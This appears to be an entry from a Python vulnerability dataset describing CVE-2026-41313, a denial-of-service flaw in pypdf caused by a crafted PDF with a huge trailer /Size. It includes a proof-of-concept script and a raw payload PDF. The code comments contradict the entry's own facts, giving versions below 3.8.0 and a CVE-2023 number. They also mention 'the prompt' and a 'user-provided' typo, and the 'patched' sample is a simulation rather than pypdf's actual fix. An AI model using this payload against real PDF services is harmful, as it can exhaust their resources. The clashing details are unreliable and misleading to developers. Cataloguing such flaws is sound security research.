CVE-2026-41313
Denial of Service in pypdf via a crafted PDF with a large trailer size.
- CVSS 4.8
- CWE-834
- Resource Management
- Remote
pypdf is a free and open-source pure-python PDF library. An attacker who uses a vulnerability present in versions prior to 6.10.2 can craft a PDF which leads to long runtimes. This requires loading a PDF with a large trailer `/Size` value in incremental mode. This has been fixed in pypdf 6.10.2. As a workaround, one may apply the changes from the patch manually.
- CWE
- CWE-834
- CVSS base score
- 4.8
- Published
- 2026-04-22
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Incorrect Algorithm
- Category
- Resource Management
- Subcategory
- Resource Exhaustion
- Accessibility scope
- Remote
- Impact
- Denial of Service (DoS)
- Affected component
- pypdf
- Fixed by upgrading
- Yes
Solution
Upgrade pypdf to version 6.10.2 or later.
Vulnerable code sample
import io
from pypdf import PdfReader
# This code assumes a vulnerable version of pypdf is installed (e.g., < 3.8.0).
# The provided CVE and version numbers in the prompt appear to be incorrect,
# but the vulnerability mechanism described (large /Size in trailer) is real.
# This example creates a malicious PDF in memory to demonstrate it.
malicious_pdf_data = (
# A minimal, valid PDF file structure
b"%PDF-1.4\n"
b"1 0 obj\n"
b"<< /Type /Catalog >>\n"
b"endobj\n"
b"xref\n"
b"0 2\n"
b"0000000000 65535 f \n"
b"0000000010 00000 n \n"
b"trailer\n"
b"<< /Size 2 /Root 1 0 R >>\n"
b"startxref\n"
b"59\n"
b"%%EOF\n"
# This is the incremental update section that triggers the vulnerability.
b"xref\n"
b"0 1\n"
b"0000000000 65535 f \n"
b"trailer\n"
# The /Size entry is maliciously large. A vulnerable parser may try to
# process this without validation, leading to excessive resource usage.
b"<< /Prev 59 /Size 999999999 >>\n"
b"startxref\n"
b"102\n"
b"%%EOF"
)
# Use io.BytesIO to treat the byte string as an in-memory file
pdf_stream = io.BytesIO(malicious_pdf_data)
# In a vulnerable version, this instantiation of PdfReader will cause the
# program to hang or run for an extremely long time, consuming significant
# CPU and/or memory, thus demonstrating the Denial-of-Service vulnerability.
# The 'strict=False' flag can sometimes help in reaching the vulnerable code path.
reader = PdfReader(pdf_stream, strict=False)
# The program will likely never reach this point when run against a vulnerable library.
# print("PDF processed successfully.")Patched code sample
import sys
from io import StringIO
def process_trailer_fixed(trailer: dict, xref_table: list):
"""
This function simulates how pypdf processes a PDF trailer,
incorporating the fix for CVE-2023-41313 (note: user-provided CVE was a typo).
The vulnerability occurs when a PDF has a very large '/Size' value in its
trailer but a much smaller actual number of objects. The old code would
attempt to iterate up to the large '/Size', causing a long runtime (DoS).
The fix ensures that the iteration is bounded by the *actual* length
of the cross-reference table, not just the declared '/Size'.
"""
# In a malicious PDF, this '/Size' value is extremely large.
declared_size = trailer.get("/Size", 0)
# VULNERABLE APPROACH (for demonstration, commented out):
# for i in range(declared_size):
# # This loop would run 1,000,000,000 times, causing a denial of service.
# pass
# --- THE FIX ---
# The patched code takes the minimum of the declared size and the actual
# number of objects found in the xref table. This prevents the loop
# from running for an excessive, fraudulent number of iterations.
effective_size = min(declared_size, len(xref_table))
# --- END OF FIX ---
print(f"Trailer's declared /Size: {declared_size}")
print(f"Actual number of objects in xref table: {len(xref_table)}")
print(f"Effective size to be processed after fix: {effective_size}\n")
print("Processing objects with the fixed logic...")
for i in range(effective_size):
# This loop now safely iterates only over existing objects.
print(f" Processing object at index {i}: {xref_table[i]}")
print("\nProcessing completed quickly and safely.")
if __name__ == "__main__":
# 1. An attacker crafts a PDF trailer with a huge '/Size'.
malicious_trailer = {"/Size": 1_000_000_000}
# 2. However, the actual cross-reference (xref) table in the PDF is very small.
actual_xref_table = [
"object_1_data",
"object_2_data",
"object_3_data",
]
# 3. Demonstrate the fixed processing logic.
process_trailer_fixed(malicious_trailer, actual_xref_table)Payload
%PDF-1.7
1 0 obj << /Type /Catalog >> endobj
xref
0 2
0000000000 65535 f
0000000009 00000 n
trailer << /Size 2 /Root 1 0 R >>
startxref
39
%%EOF
xref
0 1
0000000000 65535 f
trailer << /Size 999999999 /Prev 39 /Root 1 0 R >>
startxref
124
%%EOF
Cite this entry
@misc{vaitp:cve202641313,
title = {{Denial of Service in pypdf via a crafted PDF with a large trailer size.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-41313},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-41313/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
